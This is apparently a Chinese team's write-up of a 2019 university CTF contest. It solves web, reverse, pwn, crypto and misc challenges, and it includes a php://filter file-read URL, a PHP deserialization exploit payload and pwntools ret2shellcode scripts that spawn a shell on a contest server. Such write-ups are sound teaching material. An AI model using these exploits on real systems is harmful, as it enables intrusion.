前言 2019年5月
By 窝不管窝的flag都队
考试周的月赛,也得做做看看,划水
正文 web签到1
直接试试http://202.119.201.199:30100/index.php?page=php://filter/read=convert.base64-encode/resource=cxk.php
得到一串base64编码
PD9waHAgDQpwaHBpbmZvKCk7IA0KLypmbGFne0N1bXRDVEZfdGhpc19pU19hX1JFbEx5X2ZMYUchISF9Ki8NCj8+DQo=
解密,得到flag
Web签到2 考察反序列化漏洞的知识,给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include 'flag.php' ;error_reporting(0 ); highlight_file(__FILE__ ); class P { private $var ; function __invoke ( ) { eval ( 'global ' .$this -> var .';' . '$ret = ' .$this -> var .';' ); return $ret ; } } class K { protected $fn ; public $name ; function __toString ( ) { $fn = $this -> fn ; return $fn (); } } class U { public $obj ; function __wakeup ( ) { if (!isset ($this ->obj->name) || $this ->obj->name != "iv4n" ) { $this -> obj -> fn = function ( ) {}; } } } echo unserialize($_POST ['obj' ])->obj;
分析:
三个类分别是P,K,U;
P 中 $var
,权限为 private,魔术方法 __invoke()
,当尝试以调用函数的方式调用一个对象时,方法会被自动调用;
K 中 $fn
、$name
,权限为 protected,魔术方法 __toString()
,将 $fn
以函数方式返回 $fn()
;到这里就会想到上面的 invoke()
,那这里的 $fn
就肯定是 P 的一个对象;
U 中 $obj
,魔术方法 __wakeup()
,要求 $this->obj->name == "iv4n"
;
bypass1 想到绕过 __wakeup()
,但是要求可以达到,就直接 new 一个 U 的对象,将对象中的数据成员 $obj
赋值为一个K 的对象,将此对象的 $name
赋值为 iv4n
即可,其实不算绕过(手动狗头);
bypass2 接下来就是如何调用到 $fn
,这里需要注意的是变量的权限问题,这里为 protected,但是在外面无法赋值,这里写个脚本做个测试:
脚本:
1 2 3 4 5 6 7 8 9 <?php class run{ private $kk1='$flag'; protected $kk2='b'; public $kk3='c'; } $gardenia1=new run(); echo (serialize($gardenia1)); ?>
输出:
显而易见,在序列化的时候:
private变量改为了 0x00类名0x00变量
,在此基础上字符数量也需要修改;
protected变量改为了 0x00*0x00变量
,在此基础上字符数量同样需要修改;
bypass3 此时就可以直接看 __invoke()
函数了,因为包含了flag.php,所以猜想里面存在变量 $flag
,所以在 eval()
内执行如下语句:
1 eval(global $flag;$ret=$flag;);
将 $flag
转化为全局变量,直接赋值 $ret
,输出即可得到flag;
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class P { public $var ='$flag' ; function __invoke ( ) { eval ( 'global ' .$this -> var .';' . '$ret = ' .$this -> var .';' ); return 'invoke' ; } } class K { public $fn ; public $name ; function __toString ( ) { $fn = $this -> fn ; return $fn ; } } class U { public $obj ; function __wakeup ( ) { if (!isset ($this ->obj->name) || $this ->obj->name != "iv4n" ) { $this -> obj -> fn = function ( ) {}; } } } $gardenia1 =new P();$gardenia2 =new K();$gardenia2 ->fn=$gardenia1 ;$gardenia2 ->name='iv4n' ;$gardenia3 =new U();$gardenia3 ->obj=$gardenia2 ;$res =serialize($gardenia3 );echo ($res );
得到:
1 O:1:"U":1:{s:3:"obj";O:1:"K":2:{s:2:"fn";O:1:"P":1:{s:3:"var";s:5:"$flag";}s:4:"name";s:4:"iv4n";}}
按照上面的修改即可得到 poc:
1 obj=O:1:"U":1:{s:3:"obj";O:1:"K":2:{s:5:"%00*%00fn";O:1:"P":1:{s:6:"%00P%00var";s:5:"$flag";}s:4:"name";s:4:"iv4n";}}
得到 flag:
Reverse 签到 拖进 IDA,F5 看看,主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pattern = 4180 ; v6 = 8299 ; v7 = 12378 ; v8 = 16431 ; v9 = 20498 ; v10 = 24663 ; v11 = 28742 ; v12 = 33000 ; v13 = 37073 ; v14 = 41164 ; printf (aS, aPleaseInputFla);scanf (aS, &input);if ( strlen (&input) <= 20 && sub_401000 (&input, &pattern) ){ printf (aFlagS, &input); system (aPause); exit (0 ); }
这些变量都是 int 类型的,占 4 B。由 if
语句我们可以知道:
输入长度不能大于 20
sub_401000(&input, &pattern)
返回值应为 1
看看 sub_401000()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 signed int __cdecl sub_401000 (const char *input, _BYTE *pattern) { unsigned int i; _BYTE *pp; i = 0 ; if ( strlen (input) == 0 ) return 1 ; pp = pattern; while ( (pp[1 ] ^ input[i]) == *pp ) { ++i; pp += 4 ; if ( i >= strlen (input) ) return 1 ; } return 0 ; }
过程很简单,就是判断 pattern[i] = pattern[i+1]^input[i]
是否成立,根据异或运算的性质,我们容易推出:input[i]=pattern[i]^pattern[i+1]
,那就很容易写出 Python 脚本:
1 2 3 4 5 6 7 8 9 10 11 data = [4180 ,8299 ,12378 ,16431 ,20498 ,24663 ,28742 ,33000 ,37073 ,41164 ] flag = "" for x in data: a = x//256 b = x%256 flag += chr (a^b) flag = "flag{" +flag+"}" print flag
运行结果:
Pwn 签到 where 写入可执行 bss 段。 栈溢出。
how ret2shellcode。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = process('./q' ) context.clear(arch='i386' ) shellcode = asm(shellcraft.sh()) buf2 = 0x0804C060 payload = p32(buf2+4 ) + shellcode.ljust((0x64 -8 -4 ), 'A' ) + p32(buf2+4 ) p.sendline(payload) p.interactive()
pwn3 where 写name至可执行bss段。
存在栈溢出。
how ret2shellcode
exp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote('202.119.201.199' , 59993 ) context.clear(arch='amd64' ) shellcode = asm(shellcraft.sh()) p.recvuntil(':' ) p.sendline(asm('jmp rsp' )) p.recvuntil('>' ) p.sendline('1' ) p.sendline('A' *(0x20 +8 ) + p64(0x6020a0 ) + shellcode) p.interactive()
Crypto 古典密码签到 一看就是 Hex 编码,直接 Hackbar 解码:
1 2 密文:juttaigykhpmjyreca 密钥:cumt
一个密文,一个密钥,古典密码,猜测是维吉尼亚密码。然后直接在线解下
1 flag{hahayoufindtheflag}
现代密码签到 密文一看就是 bas64 编码,密钥我原来以为就是就是那个,数了下有 16 个字符,那就是 128 bit,尝试 AES、3DES、RC4 解密均失败。后来才发现是经过两次 base64 编码的结果。后来数了下,密文是 26 个字符,不是 8 的整数倍那种,猜测是序列密码,序列密码最常见的是 RC4,所以先试试 RC4解密,直接用 pycrypto 解密,:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64from Crypto.Cipher import ARC4s = "zSLWE5Fk7Sg3mlltw9l2N7dhuADvk2HvWYU=" k = "WTNWdGRHWnNZV2M9" s = base64.b64decode(s) k = base64.b64decode(base64.b64decode(k)) print len (s)print krc4 = ARC4.new(k) plaintext = rc4.decrypt(s) print plaintext
运行结果:
1 2 3 26 cumtflag flag{CumT_D0uB13_MooN_cTf}
easyxor 有 hint 后是送分题,直接上 Python 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import libnumflag = 'flag{**************************}' def crypt (n ): msg = libnum.s2n(n) k = 0 for i in bin (msg)[2 :]: k = k << 1 if int (i): k = k ^ msg if k >> 256 : k = k ^ 0x10000000000000000000000000000000000000000000000000000000000000365 return libnum.n2s(k) s = 113493740270492087381619361102311635177554834526932164090282635858419073655670 s = libnum.n2s(s) cnt = 1 while True : print str (cnt)+" try:" s = crypt(s) if "flag" in s: print (s) break cnt += 1
结果:
1 flag{ec33f669d2d659e2bc27dbffdf}
encode 给了一个 .pyc
文件,这里用到一个在线网站反编译:https://tool.lu/pyc/
稍微看下代码,直接写出对应编码函数的逆函数即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64def decode1 (ans ): ret = "" for x in ans: y = ord (x)-25 ret += chr (y^36 ) return ret def decode2 (ans ): ret = "" for x in ans: y = ord (x)^36 y -= 36 ret += chr (y) return ret def decode3 (ans ): return base64.b32decode(ans) final = 'LOQ2NJFYU5YH2WTUU5VHJIDXLJNVW2LQO52WS2L6PVUVW2TQLJNVSWLJUBN3E===' print decode1(decode2(decode3(final)))
运行结果:
1 flag{b38e7b57c2eff432044984f53efdd4cf}
RSA 题目给了一个 .pem
文件,里面有公钥信息:
1 2 3 4 5 6 7 8 9 -----BEGIN PUBLIC KEY----- MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQKBPJR+6zDQPEK6ZY+xAdHS /Sw69BJG2IrKGOMQ7mk6vdpFlR0F2ZuqiYy6MEXG+KDv9yCrayeV0Yw+JwoNozIB rTl74KXVk84FHmn6iYQceqtGjcb2frmkID0SBXgNBti1CNUOe/v6GeyXl0j3JPmn B1wy9BldH3vSS9FJr6DGIwKBgQGtbGUOVzO5qyoOMo+/bdqnxqA4NHjUciH+GDaU yKgjp4X47PFyHYc6HI0tyMmjxmo/nUXV7MTGVnk2lYoLuuSM8aNWyBgCdGf0bVxw UtmMyDqr6Z7GL6djTSiUtWIyi0duMsGrPPxOTfZRkbVgj/r0OopZIDbc+zDxHsNU wl2PXQ== -----END PUBLIC KEY-----
看起来像 base64 ,应该这个文件还有一定结构,直接在线 decoder 解析下,链接:https://report-uri.com/home/pem_decoder 。
发现这 e
很大呀,推测可以用低解密指数攻击(wiener attack ),直接用 github 上别人的板子,链接:https://github.com/pablocelayes/rsa-wiener-attack 。
写如下 Python 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import syssys.setrecursionlimit(10000000 ) import ContinuedFractions, Arithmetic, RSAvulnerableKeyGeneratorimport libnumdef hack_RSA (e,n ): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: if k!=0 and (e*d-1 )%k == 0 : phi = (e*d-1 )//k s = n - phi + 1 discr = s*s - 4 *n if (discr>=0 ): t = Arithmetic.is_perfect_square(discr) if t!=-1 and (s+t)%2 ==0 : print ("Hacked!" ) return d n = 0x02813c947eeb30d03c42ba658fb101d1d2fd2c3af41246d88aca18e310ee693abdda45951d05d99baa898cba3045c6f8a0eff720ab6b2795d18c3e270a0da33201ad397be0a5d593ce051e69fa89841c7aab468dc6f67eb9a4203d1205780d06d8b508d50e7bfbfa19ec979748f724f9a7075c32f4195d1f7bd24bd149afa0c623 e = 0x01ad6c650e5733b9ab2a0e328fbf6ddaa7c6a0383478d47221fe183694c8a823a785f8ecf1721d873a1c8d2dc8c9a3c66a3f9d45d5ecc4c6567936958a0bbae48cf1a356c818027467f46d5c7052d98cc83aabe99ec62fa7634d2894b562328b476e32c1ab3cfc4e4df65191b5608ffaf43a8a592036dcfb30f11ec354c25d8f5d f = open ("flag.enc" ,"rb" ) c = f.read() c = libnum.s2n(c) d = hack_RSA(e,n) m = pow (c,d,n) print libnum.n2s(m)
运行结果前面还有一堆奇奇怪怪的字符,在后面我们看到了 flag ヾ(*・-・)ツ
:
1 flag{62fe8a611728ca62b6a7cba837abacae}
Misc Whoami??? 打开题目进入懵逼状态:
疯狂乱试都失败了。
F12 检查,转到【Network】标签看到:
好了,知道你是茶壶了,遂填入 teapot
得到 flag 。等等,今天是劳动节不是愚人节呀!
Lisp 先学一波语言 define
宏定义。
append
列表连接。
pair
有序数对,包含两个元素。
let
let
是一个最常用的 Common Lisp 的操作符之一,它让你引入新的局部变量(local variable):
1 2 3 > (let ((x 1) (y 2)) (+ x y)) 3
car
& cdr
取出列表元素的基本函数是 car
和 cdr
。对列表取 car
返回第一个元素,而对列表取 cdr
返回第一个元素之后的所有元素:
1 2 3 4 > (car '(a b c)) A > (cdr '(a b c)) (B C)
你可以把 car
与 cdr
混合使用来取得列表中的任何元素。如果我们想要取得第三个元素,我们可以:
1 2 > (car (cdr (cdr '(a b c d)))) C
cond
语法是 :
1 2 3 4 (cond (test1 action1) (test2 action2) ... (testn actionn))
cond语句中的每个子句都包含条件测试和要执行的操作。类似 C 中的带 break 的 switch 。
如果cond,test1之后的第一个测试被评估为true,则执行相关的动作部分action1,返回其值,并跳过其余的子句。
如果test1的计算结果为nil,则控制将移至第二个子句而不执行action1,并遵循相同的过程。
如果没有任何测试条件被评估为真,则cond语句返回nil。
remainder
取余。
理解代码 然后对照着 Lisp 代码改写成 Python 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tab = [97 ,100 ,206 ,218 ,135 ,230 ,70 ,242 ,104 ,107 ,95 ,104 ,97 ,107 ,100 ,206 ,101 ,218 ,137 ] iv_0 = 0x0c iv_1 = 0x2e iv_2 = 0x3a def conv (i ): if i%3 == 1 : return i*2 +iv_0 elif i%2 == 0 : return i/2 +iv_1 elif i > 90 : return i+iv_0 else : return i+iv_2
Exploit now! 写出 conv()
的逆函数,并结合正则表达式给的范围写出脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 tab = [97 ,100 ,206 ,218 ,135 ,230 ,70 ,242 ,104 ,107 ,95 ,104 ,97 ,107 ,100 ,206 ,101 ,218 ,137 ] legal = r"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}" iv_0 = 0x0c iv_1 = 0x2e iv_2 = 0x3a def conv (i ): if i%3 == 1 : return i*2 +iv_0 elif i%2 == 0 : return i/2 +iv_1 elif i > 90 : return i+iv_0 else : return i+iv_2 def uncov (i ): if (i-iv_0)%2 == 0 and ((i-iv_0)/2 )%3 == 1 and chr ((i-iv_0)/2 ) in legal: return (i-iv_0)/2 if i-iv_0 > 90 and chr (i-iv_0) in legal: return i-iv_0 if chr (i-iv_2) in legal: return i-iv_2 return ord (";" ) def uncov_2 (i ): if (i-iv_1)*2 < 256 and chr ((i-iv_1)*2 ) in legal: return (i-iv_1)*2 return ord (";" ) flag = "" flag2 = "" l = len (tab) for i in range (l): flag += chr (uncov(tab[i])) flag2 += chr (uncov_2(tab[i])) print flagprint flag2
运行结果:
1 2 ;;ag{m;s;_;;;_;a;g} fl;;;;0;tzbtfzl;n;;
然后手动七拼八凑拼成有意义的结果:
猜? 题目给了一个加密的 .zip
文件,让我们猜密码?推测可能用了弱密钥,先不管三七二十一跑下字典。用工具秒破:
解压看到里面一张图片:
试试 LSB 隐写:
真真假假 给了一个压缩包,试试解压,但是需要密码。从题目推测可能是伪加密,拖到 Linux 下直接解压成功,有一个 img.html
文件,打开是一堆像是 base64 编码的字符。我们推测是一张图片,直接写个 Python 脚本将字符转成文件:
1 2 3 4 5 6 7 import osimport base64sss = "" data = base64.b64decode(sss) file = open ('1' ,"wb" ) file.write(data) file.close()
使用 file
命令看看文件是什么格式:
1 2 λ file 1 1 : JPEG image data , JFIF standard 1.01 , resolution (DPI), density 72 x72, segment length 16 , Exif Standard: [TIFF image data , big -endian , direntries =6 , orientation =upper -left , software =Adobe Photoshop 7.0 , datetime =2009 :11 :25 21 :24 :19 ], baseline, precision 8 , 550 x550, frames 3
那我们加上扩展名 .jpg
,打开看看,再看看属性:
发现备注有看起来像 base64 编码的字符串,在线解下得到:
1 flag{h311o_tH1s_1S_f14g}